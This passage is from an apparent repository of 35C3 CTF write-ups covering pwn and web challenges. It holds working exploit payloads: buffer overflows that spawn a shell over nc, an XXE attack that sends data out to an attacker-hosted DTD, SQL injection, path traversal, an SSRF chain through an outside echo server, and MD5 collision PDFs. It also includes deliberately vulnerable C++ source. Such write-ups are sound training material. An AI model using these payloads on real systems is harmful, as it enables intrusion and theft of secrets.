VirtualMachineState.Completed) { 193 | vm.run(10000) 194 | await DoEvents() // Excited about this name! VB6 <3. Nothing beats the good ol' "On Error Resume Next"... 195 | } 196 | vm.restart() 197 | } catch (ex) { 198 | console.error(ex.message) 199 | } 200 | } 201 | 202 | if (require.main === module) { 203 | //eval_in_chrome("1+1") 204 | const wee = process.argv[2]; 205 | //console.log(wee) 206 | wee_exec(wee) 207 | .then(_=>browserPromise) 208 | .then(b=>b.close()) 209 | .then(_=>process.exit()) 210 | } -------------------------------------------------------------------------------- /pwn/1996/1996: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/35c3-ctf/714107598236a8f1cd4f29ea0631f7dd113ac3d7/pwn/1996/1996 -------------------------------------------------------------------------------- /pwn/1996/1996.cpp: -------------------------------------------------------------------------------- 1 | // compile with -no-pie -fno-stack-protector 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | using namespace std; 8 | 9 | void spawn_shell() { 10 | char* args[] = {(char*)"/bin/bash", NULL}; 11 | execve("/bin/bash", args, NULL); 12 | } 13 | 14 | int main() { 15 | char buf[1024]; 16 | 17 | cout << "Which environment variable do you want to read? "; 18 | cin >> buf; 19 | 20 | cout << buf << "=" << getenv(buf) << endl; 21 | } 22 | -------------------------------------------------------------------------------- /pwn/1996/README.md: -------------------------------------------------------------------------------- 1 | # Challenge 1996 2 | 3 | 42 Points 4 | 5 | ## Challenge 6 | 7 | It's 1996 all over again! 8 | nc 35.207.132.47 22227 9 | 10 | The challenge also contains a zip file with the source and the binary of the application behind the given network address. 11 | 12 | Difficulty estimate: very easy 13 | 14 | ## Solution 15 | 16 | The C++ code shows an obvious buffer overflow. With the input that can be given to the program, the buffer overflow can be exploited and the pointer to the "hidden" function can be put into the memory to execute and unintended jump. 17 | 18 | First we had to find the size of the buffer. From the 1996.cpp file we found that the size is 1024 chars. To exploit program, we need to send at least 1024 characters. After the 1024 we also need 4 chars extra. After that, we can put the address to our function we want to execute (found with objdump -d 1996). 19 | 20 | All it takes is a little bit of python: 21 | 22 | ``` 23 | (python -c "print '\x00'*1048+ '\x97\x08\x40\x00\x00\x00\x00\x00'"; cat -) | ./1996 24 | 25 | ``` 26 | 27 | This results in a buffer overflow. On normal systems this just results in a segmentation fault (due to security features like address space randomization). 28 | 29 | ``` 30 | root@blackbox:# (python -c "print '\x00'*1048+ '\x97\x08\x40\x00\x00\x00\x00\x00'"; cat -) | nc 35.207.132.47 22227 31 | Which environment variable do you want to read? =ls 32 | 1996 33 | bin 34 | boot 35 | dev 36 | etc 37 | flag.txt 38 | home 39 | lib 40 | lib64 41 | media 42 | mnt 43 | opt 44 | proc 45 | root 46 | run 47 | sbin 48 | srv 49 | sys 50 | tmp 51 | usr 52 | var 53 | cat flag.txt 54 | 35C3_b29a2800780d85cfc346ce5d64f52e59c8d12c14 55 | 56 | ``` 57 | There is the flag! :) 58 | -------------------------------------------------------------------------------- /pwn/README.md: -------------------------------------------------------------------------------- 1 | Category Pwn 2 | ============ 3 | -------------------------------------------------------------------------------- /pwn/poet/README.md: -------------------------------------------------------------------------------- 1 | # Challenge poet 2 | 3 | 44 Points 4 | 5 | ## Challenge 6 | 7 | We are looking for the poet of the year: 8 | 9 | nc 35.207.132.47 22223 10 | 11 | Difficulty estimate: very easy 12 | 13 | ## Solution 14 | 15 | A first analysis shows that the poet binary is a little game where you can enter a poem and and author and get points for it. The goal is to achieve 1'000'000 point. If we just run the program with some random values, we get 0 points: 16 | 17 | ``` 18 | root@blackbox:# ./poet 19 | 20 | ********************************************************** 21 | * We are searching for the poet of the year 2018. * 22 | * Submit your one line poem now to win an amazing prize! * 23 | ********************************************************** 24 | 25 | Enter the poem here: 26 | > something 27 | Who is the author of this poem? 28 | > me 29 | 30 | +---------------------------------------------------------------------------+ 31 | THE POEM 32 | something 33 | SCORED 0 POINTS. 34 | 35 | SORRY, THIS POEM IS JUST NOT GOOD ENOUGH. 36 | YOU MUST SCORE EXACTLY 1000000 POINTS. 37 | TRY AGAIN! 38 | +---------------------------------------------------------------------------+ 39 | 40 | ``` 41 | 42 | After running "strings" on the assembly, there are some interesting strings defined in the binary: 43 | ``` 44 | root@blackbox:# strings poet 45 | [...] 46 | ESPR 47 | sleep 48 | repeat 49 | capture 50 | flag 51 | [...] 52 | ``` 53 | 54 | If we use this words in the poem, we get 100 points for each word we use. Additionally, we can also use "eat" (which was not displayed in the string output, but worked anyway). But the problem is, even when we print "eat" (the smallest word) 10'000 times, we get a buffer overflow (seg fault). So the solution will contains some kind of buffer overflow. Maybe we can override the score with 1mio? 55 | 56 | After looking at the strings output, 2 length definition of a printf or scanf can be found: %.64s and %.1024s, so maybe this is the length of the 2 variables for the poem and the author. In the disassembly of poet some interesting lines can be found: 57 | 58 | ``` 59 | ## in the function get_poem: (load the destination address of the gets call) 60 | 40094a: 48 8d 3d 4f 17 20 00 lea rdi,[rip+0x20174f] # 6020a0 61 | 62 | ## in the function get_author: (load the destination address of the gets call) 63 | 40097a: 48 8d 3d 1f 1b 20 00 lea rdi,[rip+0x201b1f] # 6024a0 64 | 65 | ## in the function rate_poem: (add 100 point to the score) 66 | 40080c: 83 05 cd 1c 20 00 64 add DWORD PTR [rip+0x201ccd],0x64 # 6024e0 67 | ``` 68 | 69 | The poem, the author and the score are saved in the same memory region, so lets try to overflow the author variable (since this variable is the nearest to the score) and put 1'000'000 (binary f4240 or 40420F - depending if the system is using big oder little endian) as score. 70 | 71 | So do this, the input must first be a poet, followed by a newline character and then 64 characters (not important what character) to fill the buffer of "author". After that, we can put our payload (1'000'000 as HEX): 72 | ``` 73 | root@blackbox:# (python -c "print 'A\n' + 'A' * 64 + '\x40\x42\x0f'"; cat -) | nc 35.207.132.47 22223 74 | 75 | ********************************************************** 76 | * We are searching for the poet of the year 2018. * 77 | * Submit your one line poem now to win an amazing prize! * 78 | ********************************************************** 79 | 80 | Enter the poem here: 81 | > Who is the author of this poem? 82 | > 83 | +---------------------------------------------------------------------------+ 84 | THE POEM 85 | A 86 | SCORED 1000000 POINTS. 87 | 88 | CONGRATULATIONS 89 | 90 | THE POET 91 | AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 92 | 93 | RECEIVES THE AWARD FOR POET OF THE YEAR 2018! 94 | 95 | THE PRIZE IS THE FOLLOWING FLAG: 96 | 35C3_f08b903f48608a14cbfbf73c08d7bdd731a87d39 97 | 98 | +---------------------------------------------------------------------------+ 99 | ``` 100 | 101 | And there we got the flag :confetti_ball: 102 | -------------------------------------------------------------------------------- /pwn/poet/poet: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/35c3-ctf/714107598236a8f1cd4f29ea0631f7dd113ac3d7/pwn/poet/poet -------------------------------------------------------------------------------- /scoreboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/35c3-ctf/714107598236a8f1cd4f29ea0631f7dd113ac3d7/scoreboard.png -------------------------------------------------------------------------------- /web/README.md: -------------------------------------------------------------------------------- 1 | Category Web 2 | ============ 3 | -------------------------------------------------------------------------------- /web/blind/README.md: -------------------------------------------------------------------------------- 1 | # blind 2 | 3 | ## Challenge 4 | 5 | Hacking blind: http://35.207.108.241 6 | 7 | Flag is at /flag 8 | 9 | Difficulty estimate: Medium 10 | 11 | 12 | ## Solution 13 | 14 | The given website shows the following PHP code: 15 | 16 | ```php 17 | 108 | 110 | 111 | %dtdata; 112 | %flagdata; 113 | ]> 114 | &exfiltrate; 115 | ``` 116 | 117 | And the `blind.dtd`: 118 | 119 | ```xml 120 | 121 | "> 122 | ``` 123 | 124 | For this attack we have to setup a web server at `our-malicious-host.tld` which hosts the XML and the DTD file. 125 | In addition we can monitor the webservers access logs to see the exfiltrated flag (which is base64 encoded). 126 | 127 | We can now simply `curl` to execute the attack: 128 | 129 | ``` 130 | curl -v --cookie 'theme=SimpleXMlElement-http://our-malicious-host.tld/blind.xml-2-true' 'http://35.207.108.241' 131 | ``` 132 | -------------------------------------------------------------------------------- /web/collider/README.md: -------------------------------------------------------------------------------- 1 | # Challenge collider 2 | 3 | 86 Points 4 | 5 | ## Challenge 6 | 7 | Your task is pretty simple: Upload two PDF files. The first should contain the string "NO FLAG!" and the other one "GIVE FLAG!", but both should have the same MD5 hash! 8 | 9 | http://35.207.133.246 10 | 11 | ## Solution 12 | 13 | After shortly looking at the website, there are 2 file upload input field on it to upload files. Also the source code can be found at http://35.207.133.246/src.tgz. As the challenge says, the PDFs must have the same md5 hash sum and some given words in it. Maybe it's possible to get around the php code of the compare... 14 | 15 | As md5 as a "bit" broken, let's just try to attack MD5. There is an existing tool that can manipulate 2 files to have the same md5 checksum: https://github.com/cr-marcstevens/hashclash 16 | 17 | So we create 2 PDFs (with libreOffice Writer) with the words "NO FLAG!" and another with the words "GIVE FLAG!" in it. Then we run Hashclash for this 2 files. 18 | 19 | Unlucky, Hashclash took way to long on our hardware, so lets try another approach: There is another POC around, that is way faster then Hashclash: https://github.com/corkami/pocs. After downloading it and running the pdf.py script, the generation was done in under a second. Wow. 20 | 21 | ``` 22 | root@blackbox:# python ./pocs/collisions/scripts/pdf.py giveflag.pdf noflag.pdf 23 | 24 | KEEP CALM and IGNORE THE NEXT ERRORS 25 | error: cannot recognize xref format 26 | warning: trying to repair broken xref 27 | warning: repairing PDF document 28 | 29 | collision1.pdf: 30 | 31 | PDF-1.3 32 | 33 | Pages: 1 34 | 35 | Retrieving info from pages 1-1... 36 | 37 | 38 | collision2.pdf: 39 | 40 | PDF-1.3 41 | 42 | Pages: 1 43 | 44 | Retrieving info from pages 1-1... 45 | 46 | MD5: 97f5289a50a930d4fc4b66134d155bac 47 | Success! 48 | ``` 49 | 50 | Checking the MD5 hash of the 2 new generated PDFs: 51 | ``` 52 | root@blackbox:# md5sum collision* 53 | 97f5289a50a930d4fc4b66134d155bac collision1.pdf 54 | 97f5289a50a930d4fc4b66134d155bac collision2.pdf 55 | ``` 56 | 57 | So we can upload this two files and there we get the flag: 35C3_N3v3r_TrusT_MD5 58 | -------------------------------------------------------------------------------- /web/collider/collision1.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/35c3-ctf/714107598236a8f1cd4f29ea0631f7dd113ac3d7/web/collider/collision1.pdf -------------------------------------------------------------------------------- /web/collider/collision2.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/35c3-ctf/714107598236a8f1cd4f29ea0631f7dd113ac3d7/web/collider/collision2.pdf -------------------------------------------------------------------------------- /web/collider/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Collider 8 | 9 | 32 | 33 | 34 | 35 | 38 | 39 |
40 | 41 |
42 |

Collider

43 |

Your task is pretty simple: Upload two PDF files. The first should contain the string "NO FLAG!" and the other one "GIVE FLAG!", but both should have the same MD5 hash!

44 |
45 |
46 |
47 | 48 | 49 | 50 |
51 |
52 | 53 | 75 |
76 | 77 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | -------------------------------------------------------------------------------- /web/db_secret/README.md: -------------------------------------------------------------------------------- 1 | # Challenge DB Secret 2 | 3 | 89 Points 4 | 5 | ## Challenge 6 | 7 | To enable secure microservices (or whatever, we don't know yet) over Wee in the future, we created a specific DB_SECRET, only known to us. This token is super important and extremely secret, hence the name. The only way an attacker could get hold of it is to serve good booze to the admins. Pretty sure it's otherwise well protected on our secure server. 8 | 9 | http://35.207.132.47/ 10 | 11 | Difficulty Estimate: Medium 12 | 13 | Good coders should learn one new language every year. 14 | 15 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 16 | 17 | If you have not picked up a new challenge in 2018, you're in for a treat. 18 | 19 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 20 | 21 | Some cool Projects can be created in Wee, like: this, this and that. 22 | 23 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 24 | 25 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 26 | 27 | We even added new features to this better server, like server-side Wee evaluation! 28 | 29 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 30 | 31 | 32 | ## Solution 33 | 34 | In the init_db function of the server.py we see, that the token is saved into the database: 35 | 36 | ``` 37 | def init_db(): 38 | with app.app_context(): 39 | db = get_db() 40 | with open(MIGRATION_PATH, "r") as f: 41 | db.cursor().executescript(f.read()) 42 | db.execute("CREATE TABLE `secrets`(`id` INTEGER PRIMARY KEY AUTOINCREMENT, `secret` varchar(255) NOT NULL)") 43 | db.execute("INSERT INTO secrets(secret) values(?)", (DB_SECRET,)) 44 | db.commit() 45 | ``` 46 | 47 | So the secret token is saved into the database and we need to extract it. There is an interesting function, that not really escapes the given params: 48 | ``` 49 | @app.route("/api/getprojectsadmin", methods=["POST"]) 50 | def getprojectsadmin(): 51 | # ProjectsRequest request = ctx.bodyAsClass(ProjectsRequest.class); 52 | # ctx.json(paperbots.getProjectsAdmin(ctx.cookie("token"), request.sorting, request.dateOffset)); 53 | name = request.cookies["name"] 54 | token = request.cookies["token"] 55 | user, username, email, usertype = user_by_token(token) 56 | 57 | json = request.get_json(force=True) 58 | offset = json["offset"] 59 | sorting = json["sorting"] 60 | 61 | if name != "admin": 62 | raise Exception("InvalidUserName") 63 | 64 | sortings = { 65 | "newest": "created DESC", 66 | "oldest": "created ASC", 67 | "lastmodified": "lastModified DESC" 68 | } 69 | sql_sorting = sortings[sorting] 70 | 71 | if not offset: 72 | offset = datetime.datetime.now() 73 | 74 | return jsonify_projects(query_db( 75 | "SELECT code, userName, title, public, type, lastModified, created, content FROM projects WHERE created < '{}' " 76 | "ORDER BY {} LIMIT 10".format(offset, sql_sorting), one=False), username, "admin") 77 | ``` 78 | 79 | So if wwe can send a malicious offset, we can do an SQL injection! So first we need a valid admin login (done already with another challenge): 80 | 81 | ``` 82 | # create login token 83 | root@blackbox:# curl -X POST -d '{"email":"admin"}' http://35.207.132.47/api/login 84 | jossni 85 | 86 | # verify login to generate cookie 87 | root@blackbox:# curl -c cookies.txt -b cookies.txt -X POST -d '{"code":"jossni"}' http://35.207.132.47/api/verify 88 | ``` 89 | 90 | Now we can simply try to union select the secret value from the secrets table. A union select must always return the same number of columns as the first select. We can see in the code that the original select returns 8 columns, so we can simply append some static value columns to fix this. 91 | 92 | So our offset value will be: 93 | ``` 94 | ' UNION SELECT secret,1,1,1,1,1,1,1 FROM secrets -- 95 | ``` 96 | 97 | Final request: 98 | ``` 99 | root@blackbox:# curl -c cookies.txt -b cookies.txt -X POST -d @payload.txt "http://35.207.132.47/api/getprojectsadmin" 100 | [{"code":"35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW???","content":1,"created":1,"lastModified":1,"public":1,"title":1,"type":1,"userName":1}] 101 | ``` 102 | 103 | And there we got our token 35C3_ALL_THESE_YEARS_AND_WE_STILL_HAVE_INJECTIONS_EVERYWHERE__HOW??? 104 | -------------------------------------------------------------------------------- /web/db_secret/payload.txt: -------------------------------------------------------------------------------- 1 | { 2 | "sorting": "newest", 3 | "offset": "' UNION SELECT secret,1,1,1,1,1,1,1 FROM secrets --" 4 | } 5 | -------------------------------------------------------------------------------- /web/flags/README.md: -------------------------------------------------------------------------------- 1 | 2 | # Challenge Flags 3 | 4 | ## Challenge 5 | 6 | Fun with flags: http://35.207.169.47 7 | 8 | Flag is at /flag 9 | 10 | Difficulty estimate: Easy 11 | 12 | 13 | ## Solution 14 | 15 | If we navigate to the given url the following PHP code is presented to us. 16 | 17 | ``` 18 | '; 26 | ``` 27 | 28 | We figured out it must be in / of the webserver. 29 | 30 | We can put a path in the Accept-Language header of the GET request, but '../' is escaped. Therefore a bit of creativity is needed: 31 | 32 | ``` 33 | # curl -H 'Accept-Language: ..././..././..././..././..././..././flag' http://35.207.169.47/ 34 | ``` 35 | 36 | The HTML in the response contains an image with our flag: 37 | 38 | ``` 39 | 40 | ``` 41 | 42 | Since the data is encoded, we need to decode it: 43 | ``` 44 | # echo 'MzVjM190aGlzX2ZsYWdfaXNfdGhlX2JlNXRfZmw0Zwo=' | base64 --decode 45 | 35c3_this_flag_is_the_be5t_fl4g 46 | ``` 47 | 48 | -------------------------------------------------------------------------------- /web/localhost/README.md: -------------------------------------------------------------------------------- 1 | # Challenge localhost 2 | 3 | 81 Points 4 | 5 | ## Challenge 6 | 7 | We came up with some ingenious solutions to the problem of password reuse. For users, we don't use password auth but send around mails instead. This works well for humans but not for robots. To make test automation possible, we didn't want to send those mails all the time, so instead we introduced the localhost header. If we send a request to our server from the same host, our state-of-the-art python server sets the localhost header to a secret only known to the server. This is bullet-proof, luckily. 8 | 9 | http://35.207.189.79/ 10 | 11 | Difficulty Estimate: Medium 12 | 13 | ## Solution 14 | 15 | The link points to the paperbots web application. From the source code of the server we learned, that the flag is set with the following method: 16 | 17 | ``` 18 | @app.after_request 19 | def secure(response: Response): 20 | if not request.path[-3:] in ["jpg", "png", "gif"]: 21 | response.headers["X-Frame-Options"] = "SAMEORIGIN" 22 | response.headers["X-Xss-Protection"] = "1; mode=block" 23 | response.headers["X-Content-Type-Options"] = "nosniff" 24 | response.headers["Content-Security-Policy"] = "script-src 'self' 'unsafe-inline';" 25 | response.headers["Referrer-Policy"] = "no-referrer-when-downgrade" 26 | response.headers["Feature-Policy"] = "geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; " \ 27 | "camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; " \ 28 | "fullscreen *; payment 'self'; " 29 | if request.remote_addr == "127.0.0.1": 30 | response.headers["X-Localhost-Token"] = LOCALHOST 31 | 32 | return response 33 | ``` 34 | 35 | So we need to create a request with the remote address as localhost and still be able to see the response. Luckily there is an interesting endpoint: 36 | 37 | ``` 38 | # Proxy images to avoid tainted canvases when thumbnailing. 39 | @app.route("/api/proxyimage", methods=["GET"]) 40 | def proxyimage(): 41 | url = request.args.get("url", '') 42 | parsed = parse.urlparse(url, "http") # type: parse.ParseResult 43 | if not parsed.netloc: 44 | parsed = parsed._replace(netloc=request.host) # type: parse.ParseResult 45 | url = parsed.geturl() 46 | 47 | resp = requests.get(url) 48 | if not resp.headers["Content-Type"].startswith("image/"): 49 | raise Exception("Not a valid image") 50 | 51 | # See https://stackoverflow.com/a/36601467/1345238 52 | excluded_headers = ['content-encoding', 'content-length', 'transfer-encoding', 'connection'] 53 | headers = [(name, value) for (name, value) in resp.raw.headers.items() 54 | if name.lower() not in excluded_headers] 55 | 56 | response = Response(resp.content, resp.status_code, headers) 57 | return response 58 | 59 | ``` 60 | 61 | Now we can use proxyimage to load other ressources. We could also load the proxy itself :) 62 | 63 | But as restriction we can only load "images". We must response with a HTTP header flag starting with "image/". For this we downloaded a simple python echo server and modified it a bit to return everytime the Content-Type: image/png. The script echo.py do the job. 64 | 65 | 66 | The final request: 67 | 68 | ``` 69 | root@blackbox:# curl -v "http://35.207.189.79/api/proxyimage?url=http://127.0.0.1:8075/api/proxyimage?url=http://151.217.250.118:8080/" 70 | * Trying 35.207.189.79... 71 | * TCP_NODELAY set 72 | * Connected to 35.207.189.79 (35.207.189.79) port 80 (#0) 73 | > GET /api/proxyimage?url=http://127.0.0.1:8075/api/proxyimage?url=http://151.217.250.118:8080/ HTTP/1.1 74 | > Host: 35.207.189.79 75 | > User-Agent: curl/7.62.0 76 | > Accept: */* 77 | > 78 | < HTTP/1.1 200 OK 79 | < Content-Type: image/png 80 | < Content-Length: 0 81 | < Connection: keep-alive 82 | < Server: BaseHTTP/0.3 Python/2.7.15rc1 83 | < Date: Sat, 29 Dec 2018 11:54:37 GMT 84 | < X-Frame-Options: SAMEORIGIN 85 | < X-Xss-Protection: 1; mode=block 86 | < X-Content-Type-Options: nosniff 87 | < Content-Security-Policy: script-src 'self' 'unsafe-inline'; 88 | < Referrer-Policy: no-referrer-when-downgrade 89 | < Feature-Policy: geolocation 'self'; midi 'self'; sync-xhr 'self'; microphone 'self'; camera 'self'; magnetometer 'self'; gyroscope 'self'; speaker 'self'; fullscreen *; payment 'self'; 90 | < X-Localhost-Token: 35C3_THIS_HOST_IS_YOUR_HOST_THIS_HOST_IS_LOCAL_HOST 91 | < 92 | * Connection #0 to host 35.207.189.79 left intact 93 | 94 | ``` 95 | 96 | The token can be found as HTTP header :fire: 97 | -------------------------------------------------------------------------------- /web/localhost/echo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Reflects the requests from HTTP methods GET, POST, PUT, and DELETE 3 | # Written by Nathan Hamiel (2010) 4 | 5 | from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler 6 | from optparse import OptionParser 7 | 8 | class RequestHandler(BaseHTTPRequestHandler): 9 | 10 | def do_GET(self): 11 | 12 | request_path = self.path 13 | 14 | print("\n----- Request Start ----->\n") 15 | print(request_path) 16 | print(self.headers) 17 | print("<----- Request End -----\n") 18 | 19 | self.send_response(200) 20 | self.send_header("Content-Type", "image/png") 21 | 22 | def do_POST(self): 23 | 24 | request_path = self.path 25 | 26 | print("\n----- Request Start ----->\n") 27 | print(request_path) 28 | 29 | request_headers = self.headers 30 | content_length = request_headers.getheaders('content-length') 31 | length = int(content_length[0]) if content_length else 0 32 | 33 | print(request_headers) 34 | print(self.rfile.read(length)) 35 | print("<----- Request End -----\n") 36 | 37 | self.send_response(200) 38 | 39 | do_PUT = do_POST 40 | do_DELETE = do_GET 41 | 42 | def main(): 43 | port = 8080 44 | print('Listening on localhost:%s' % port) 45 | server = HTTPServer(('', port), RequestHandler) 46 | server.serve_forever() 47 | 48 | 49 | if __name__ == "__main__": 50 | parser = OptionParser() 51 | parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n" 52 | "Run:\n\n" 53 | " reflect") 54 | (options, args) = parser.parse_args() 55 | 56 | main() 57 | -------------------------------------------------------------------------------- /web/logged_in/README.md: -------------------------------------------------------------------------------- 1 | # Challenge Logged In 2 | 3 | ## Challenge 4 | 5 | Phew, we totally did not set up our mail server yet. This is bad news since nobody can get into their accounts at the moment... It'll be in our next sprint. Until then, since you cannot login: enjoy our totally finished software without account. 6 | 7 | http://35.207.189.79/ 8 | 9 | Difficulty Estimate: Easy 10 | 11 | Good coders should learn one new language every year. 12 | 13 | InfoSec folks are even used to learn one new language for every new problem they face (YMMV). 14 | 15 | If you have not picked up a new challenge in 2018, you're in for a treat. 16 | 17 | We took the new and upcoming Wee programming language from paperbots.io. Big shout-out to Mario Zechner (@badlogicgames) at this point. 18 | 19 | Some cool Projects can be created in Wee, like: this, this and that. 20 | 21 | Since we already know Java, though, we ported the server (Server.java and Paperbots.java) to Python (WIP) and constantly add awesome functionality. Get the new open-sourced server at /pyserver/server.py. 22 | 23 | Anything unrelated to the new server is left unchanged from commit dd059961cbc2b551f81afce6a6177fcf61133292 at badlogics paperbot github (mirrored up to this commit here). 24 | 25 | We even added new features to this better server, like server-side Wee evaluation! 26 | 27 | To make server-side Wee the language of the future, we already implemented awesome runtime functions. To make sure our VM is 100% safe and secure, there are also assertion functions in server-side Wee that you don't have to be concerned about. 28 | 29 | 30 | ## Solution 31 | 32 | In the server.py we find the following important code for this challenge: 33 | 34 | ``` 35 | @app.route("/api/login", methods=["POST"]) 36 | def login(): 37 | print("Logging in?") 38 | # TODO Send Mail 39 | json = request.get_json(force=True) 40 | login = json["email"].strip() 41 | try: 42 | userid, name, email = query_db("SELECT id, name, email FROM users WHERE email=? OR name=?", (login, login)) 43 | except Exception as ex: 44 | raise Exception("UserDoesNotExist") 45 | return get_code(name) 46 | 47 | def get_code(username): 48 | db = get_db() 49 | c = db.cursor() 50 | userId, = query_db("SELECT id FROM users WHERE name=?", username) 51 | code = random_code() 52 | c.execute("INSERT INTO userCodes(userId, code) VALUES(?, ?)", (userId, code)) 53 | db.commit() 54 | # TODO: Send the code as E-Mail instead :) 55 | return code 56 | 57 | @app.route("/api/verify", methods=["POST"]) 58 | def verify(): 59 | code = request.get_json(force=True)["code"].strip() 60 | if not code: 61 | raise Exception("CouldNotVerifyCode") 62 | userid, = query_db("SELECT userId FROM userCodes WHERE code=?", code) 63 | db = get_db() 64 | c = db.cursor() 65 | c.execute("DELETE FROM userCodes WHERE userId=?", (userid,)) 66 | token = random_code(32) 67 | c.execute("INSERT INTO userTokens (userId, token) values(?,?)", (userid, token)) 68 | db.commit() 69 | name, = query_db("SELECT name FROM users WHERE id=?", (userid,)) 70 | resp = make_response() 71 | resp.set_cookie("token", token, max_age=2 ** 31 - 1) 72 | resp.set_cookie("name", name, max_age=2 ** 31 - 1) 73 | resp.set_cookie("logged_in", LOGGED_IN) 74 | return resp 75 | ``` 76 | 77 | The username is 'admin' (this was a guess). 78 | 79 | The code we need for the login is returned in the post request. 80 | 81 | We create a POST request to http://35.207.189.79/api/login with the payload `{ "email": "admin" }`. The response is a verification code (e.g. `vneoud`). 82 | 83 | This code can then be used to create a post request on http://35.207.189.79/api/verify with payload `{ "code": "vneoud" }`. 84 | 85 | Now a browser cookie is set with the LOGGED_IN flag `35C3_LOG_ME_IN_LIKE_ONE_OF_YOUR_FRENCH_GIRLS`. -------------------------------------------------------------------------------- /web/mcdonald/README.md: -------------------------------------------------------------------------------- 1 | # Challenge McDonald 2 | 3 | 44 Points 4 | 5 | ## Challenge 6 | 7 | Our web admin name's "Mc Donald" and he likes apples and always forgets to throw away his apple cores.. 8 | 9 | http://35.207.91.38 10 | 11 | ## Solution 12 | 13 | The webpage under the given URL shows just the same hint as the challenge. After a bit of nmap and html/javascript analysis nothing special was found. So we try some common URLs for hidden files. And we where lucky and found the folder "/backup/", but the response was a 403 FORBIDDEN. The hint talks about the admin and how he forgets his "apple cores" -> maybe this is a reference to the company apple? YES! 14 | 15 | There is a "leftover" file from an apple file system, that can be downloaded: http://35.207.91.38/backup/.DS_Store 16 | 17 | This file contains some file system informations of an apple file system. With this file it's possible to do a directory listening. There is an open source tool that can be used to get the needed information: 18 | 19 | https://github.com/lijiejie/ds_store_exp.git 20 | 21 | With this tool a simple command show some hidden files: 22 | ``` 23 | python ds_store_exp.py http://35.207.91.38/backup/.DS_Store 24 | ``` 25 | 26 | Output: 27 | ``` 28 | root@blackbox:# python ds_store_exp.py http://35.207.91.38/backup/.DS_Store 29 | [+] http://35.207.91.38/backup/.DS_Store 30 | [+] http://35.207.91.38/backup/c/.DS_Store 31 | [+] http://35.207.91.38/backup/b/.DS_Store 32 | [Folder Found] http://35.207.91.38/backup/c 33 | [Folder Found] http://35.207.91.38/backup/b 34 | [Folder Found] http://35.207.91.38/backup/a 35 | [+] http://35.207.91.38/backup/c/c/.DS_Store 36 | [+] http://35.207.91.38/backup/b/a/.DS_Store 37 | [Folder Found] http://35.207.91.38/backup/c/c 38 | [+] http://35.207.91.38/backup/c/b/.DS_Store 39 | [+] http://35.207.91.38/backup/b/b/.DS_Store 40 | [Folder Found] http://35.207.91.38/backup/b/a 41 | [Folder Found] http://35.207.91.38/backup/c/b 42 | [+] http://35.207.91.38/backup/b/noflag.txt 43 | [Folder Found] http://35.207.91.38/backup/b/c 44 | [Folder Found] http://35.207.91.38/backup/b/b 45 | [Folder Found] http://35.207.91.38/backup/c/c/a 46 | [+] http://35.207.91.38/backup/b/a/c/.DS_Store 47 | [Folder Found] http://35.207.91.38/backup/c/c/b 48 | [+] http://35.207.91.38/backup/b/a/b/.DS_Store 49 | [Folder Found] http://35.207.91.38/backup/c/c/c 50 | [Folder Found] http://35.207.91.38/backup/b/a/a 51 | [+] http://35.207.91.38/backup/b/a/noflag.txt 52 | [Folder Found] http://35.207.91.38/backup/b/a/c 53 | [Folder Found] http://35.207.91.38/backup/c/a 54 | [Folder Found] http://35.207.91.38/backup/b/a/b 55 | [+] http://35.207.91.38/backup/b/a/c/flag.txt 56 | [+] http://35.207.91.38/backup/b/a/c/noflag.txt 57 | 58 | ``` 59 | 60 | Now download the found flag.txt and look at the flag: 61 | 62 | ``` 63 | root@blackbox:# curl http://35.207.91.38/backup/b/a/c/flag.txt 64 | 35c3_Appl3s_H1dden_F1l3s 65 | ``` 66 | -------------------------------------------------------------------------------- /web/not(e)_accessible/README.md: -------------------------------------------------------------------------------- 1 | # Note(e) accessible 2 | 3 | ## Challenge 4 | 5 | We love notes. They make our lifes more structured and easier to manage! In 2018 everything has to be digital, and that's why we built our very own note-taking system using micro services: Not(e) accessible! For security reasons, we generate a random note ID and password for each note. 6 | 7 | Recently, we received a report through our responsible disclosure program which claimed that our access control is bypassable... 8 | 9 | ``` 10 | http://35.207.120.163 11 | ``` 12 | 13 | Difficulti estimate: Easy-Medium 14 | 15 | 16 | ## Solution 17 | 18 | From the HTML source code of the provided URL you'll get a hint in a comment to an accessible archive 19 | with the source code. 20 | The source code can be found in `src`. 21 | 22 | When looking at the source we notice that the flag we want to capture is accessible from the 23 | backends `/admin` endpoint. 24 | Unfortunately, all backend endpoints are only accessible from localhost and we therefore need the frontend 25 | to access it. 26 | 27 | The `frontend/index.php` source looks secure enough. 28 | However, the `frontend/view.php` were the code resides to read a note, the note id provided by the user isn't 29 | validated enough. 30 | This `id` is used directly to check for existence and read a file on the local file system. 31 | In these two cases the `id` is casted to an `int` like the following: 32 | 33 | ```php 34 | "./pws/" . (int) $id . ".pw" 35 | ``` 36 | 37 | When casting with `(int)` PHP casts everything which is a digit from the beginning of the string. 38 | It doesn't care about anything after the digit in that string. 39 | That's a problem when looking how the note file is read: 40 | 41 | ```php 42 | echo file_get_contents($BACKEND . "get/" . $id); 43 